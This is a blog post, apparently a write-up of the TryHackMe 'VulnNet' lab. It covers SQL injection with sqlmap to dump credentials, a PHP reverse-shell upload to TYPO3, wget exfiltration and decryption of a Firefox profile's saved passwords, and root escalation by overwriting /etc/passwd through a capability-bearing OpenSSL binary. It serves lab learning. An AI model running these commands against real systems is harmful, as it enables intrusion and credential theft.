DEV Community

Cover image for VulnNet - TryHackMe Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

VulnNet - TryHackMe Writeup

Difficulty: Medium


Reconnaissance

Port Scan

nmap -sCV -A <MACHINE-IP> -oA nmap-VulnNet
Enter fullscreen mode Exit fullscreen mode

Two open ports:

Port Service
22 OpenSSH 7.6p1 (Ubuntu)
80 Apache 2.4.29

The HTTP root served a "coming soon" countdown page for VulnNet Entertainment.

Added the target to /etc/hosts:

echo '<MACHINE-IP> vulnnet.thm' | tee -a /etc/hosts
Enter fullscreen mode Exit fullscreen mode

Virtual Host Enumeration

The main domain revealed nothing interesting, so vhosts were fuzzed:

ffuf -u http://vulnnet.thm \
  -H "HOST: FUZZ.vulnnet.thm" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -ac
Enter fullscreen mode Exit fullscreen mode

Four subdomains discovered:

Subdomain Notes
api.vulnnet.thm Returns VulnNet API is up!
blog.vulnnet.thm Public blog site
shop.vulnnet.thm Shop frontend
admin1.vulnnet.thm Redirects to TYPO3 CMS login

All four were added to /etc/hosts:

echo '<MACHINE-IP> api.vulnnet.thm blog.vulnnet.thm shop.vulnnet.thm admin1.vulnnet.thm' | tee -a /etc/hosts
Enter fullscreen mode Exit fullscreen mode

SQL Injection → Credentials

Discovering the Injection Point

Visiting http://api.vulnnet.thm confirmed the API was live. Opening the blog at http://blog.vulnnet.thm/post1.php and inspecting via browser DevTools (Network tab) revealed the API call being made in the background — also visible in the page source:

GET http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1
Enter fullscreen mode Exit fullscreen mode

Manual testing confirmed SQL injection on the blog parameter:

http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=99 or 1=1
Enter fullscreen mode Exit fullscreen mode

Response:

{
  "request_id": "99 or 1=1",
  "blog_id": "1",
  "titles": "Windows Search Vulnerability Can be Abused to Deliver",
  "status": "posted"
}
Enter fullscreen mode Exit fullscreen mode

The query returned a valid blog entry despite the invalid ID, confirming the injection.

Automated Extraction with sqlmap

Three injection types were confirmed (boolean-based blind, time-based blind, UNION):

sqlmap -u "http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1" \
  -p blog --dbs --batch
Enter fullscreen mode Exit fullscreen mode

Databases found: blog, information_schema, vn_admin.

Dumping the TYPO3 admin table (vn_admin):

sqlmap -u "http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1" \
  --batch -D vn_admin -T be_users -C username,password --dump
Enter fullscreen mode Exit fullscreen mode

Result:

username password hash
chris_w $argon2i$v=19$m=65536,t=16,p=2$UnlVSEgyMUFnYnJXNXlXdg$j6z3IshmjsN+CwhciRECV2NArQwipqQMIBtYufyM4Rg

Dumping the blog users table (blog.users) for a password wordlist:

First, enumerate the columns:

sqlmap -u "http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1" \
  --batch -D blog -T users --columns
Enter fullscreen mode Exit fullscreen mode
Database: blog
Table: users
[3 columns]
+----------+-------------+
| Column   | Type        |
+----------+-------------+
| id       | int(11)     |
| password | varchar(50) |
| username | varchar(50) |
+----------+-------------+
Enter fullscreen mode Exit fullscreen mode

Then dump the credentials:

sqlmap -u "http://api.vulnnet.thm/vn_internals/api/v2/fetch/?blog=1" \
  --batch -D blog -T users -C username,password --dump
Enter fullscreen mode Exit fullscreen mode

This returned 651 plaintext username/password pairs. The passwords were extracted and saved as a custom wordlist for cracking the admin hash.

Hash Cracking

The Argon2i hash was cracked using the dumped blog passwords as a wordlist:

john hash.txt --wordlist=clean_passwords.txt
Enter fullscreen mode Exit fullscreen mode

Cracked password: REDACTED


Initial Access — TYPO3 RCE via File Upload

Login to TYPO3

Logged into http://admin1.vulnnet.thm/typo3 as chris_w with the cracked password. TYPO3 CMS version 10.3.0 was confirmed.

Bypassing the File Upload Restriction

The File module (Filelist) allowed file uploads but blocked PHP extensions by default via the [BE][fileDenyPattern] setting.

To remove this restriction:

  1. Navigate to Admin Tools → Settings → Configure Installation-Wide Options
  2. Search for filedeny in the filter
  3. Clear the [BE][fileDenyPattern] field
  4. Click Write configuration

Uploading the Web Shell

A PHP reverse shell (pentestmonkey) was saved as shell.php, with $ip set to <YOUR-IP> and $port set to the desired listener port, then uploaded to fileadmin/ → user_upload/ via the upload button in the Filelist module.

The shell was triggered by visiting:

http://admin1.vulnnet.thm/fileadmin/user_upload/shell.php
Enter fullscreen mode Exit fullscreen mode

A reverse connection was received as www-data.


Lateral Movement — Firefox Credential Extraction

Identifying a Readable Profile Directory

ls -la /home/system/
Enter fullscreen mode Exit fullscreen mode

The .mozilla directory was world-readable. It was archived and exfiltrated:

zip /tmp/mozilla.zip .mozilla/ -r
python3 -m http.server 8000
# On attacker:
wget http://<MACHINE-IP>:8000/mozilla.zip
Enter fullscreen mode Exit fullscreen mode

Selecting the Correct Firefox Profile

Three profiles were present under .mozilla/firefox/:

Profile directory Contents Usable?
2o9vd4oi.default Only times.json No — empty profile
8mk7ix79.default-release key4.db but no logins.json No — keys without credentials
2fjnrwth.default-release key4.db + logins.json Yes

Firefox requires both key4.db (NSS encryption keys) and logins.json (encrypted saved credentials) to decrypt stored passwords. The first two profiles failed with either "Couldn't initialize NSS" or "Couldn't find credentials file" errors. The third profile contained both files.

Decrypting Saved Passwords

python3 firefox_decrypt.py \
  /home/kali/tryhackme/easy/dir/.mozilla/firefox/2fjnrwth.default-release
Enter fullscreen mode Exit fullscreen mode

Output:

Website:   https://tryhackme.com
Username: 'chris_w@vulnnet.thm'
Password: 'REDACTED'
Enter fullscreen mode Exit fullscreen mode

SSH as system

/etc/passwd confirmed a system user with a bash shell. The recovered password worked:

ssh system@vulnnet.thm
# Password: REDACTED
Enter fullscreen mode Exit fullscreen mode

User flag: REDACTED


Privilege Escalation — OpenSSL =ep Capability Abuse

Discovering the Capability

LinPEAS flagged a custom OpenSSL binary with the =ep (all effective + permitted) capability:

/home/system/Utils/openssl =ep
Enter fullscreen mode Exit fullscreen mode

=ep grants every capability to the binary — effectively making it run with full privileges without being SUID root.

Reading and Writing Protected Files

The capability allowed reading any file:

/home/system/Utils/openssl enc -in /etc/passwd
Enter fullscreen mode Exit fullscreen mode

And writing to any file, including root-owned ones:

echo 'test' | /home/system/Utils/openssl enc -out /root/test
Enter fullscreen mode Exit fullscreen mode

Adding a Root User to /etc/passwd

A new password hash was generated:

openssl passwd -1 pass123
# Output: $1$/8yPRAnx$Ip5PtsMgCo0q8r/AroK4u1
Enter fullscreen mode Exit fullscreen mode

A malicious /etc/passwd entry was constructed and written:

# Create the new user line
echo 'pwn:$1$/8yPRAnx$Ip5PtsMgCo0q8r/AroK4u1:0:0:root:/root:/bin/bash' > /tmp/rootuser

# Copy current passwd to /tmp
/home/system/Utils/openssl enc -in /etc/passwd -out /tmp/passwd

# Append new user
cat /tmp/rootuser >> /tmp/passwd

# Overwrite /etc/passwd with the modified version
/home/system/Utils/openssl enc -in /tmp/passwd -out /etc/passwd
Enter fullscreen mode Exit fullscreen mode

Created user credentials:

Field Value
Username pwn
Password pass123

Switching to Root

su pwn
# Password: pass123
Enter fullscreen mode Exit fullscreen mode

Shell obtained as root.

Root flag: REDACTED


Attack Chain Summary

SQL Injection (api.vulnnet.thm)
        ↓
  Dump vn_admin.be_users → chris_w hash
        ↓
  Crack Argon2i hash using blog user passwords as wordlist
        ↓
  Login to TYPO3 CMS (admin1.vulnnet.thm)
        ↓
  Bypass fileDenyPattern → Upload PHP reverse shell
        ↓
  RCE as www-data
        ↓
  Exfiltrate .mozilla Firefox profile
        ↓
  Decrypt saved password from 2fjnrwth.default-release profile
        ↓
  SSH as system → user.txt
        ↓
  Abuse openssl =ep capability → Overwrite /etc/passwd
        ↓
  su to pwn (pass123) → root.txt
Enter fullscreen mode Exit fullscreen mode

Top comments (0)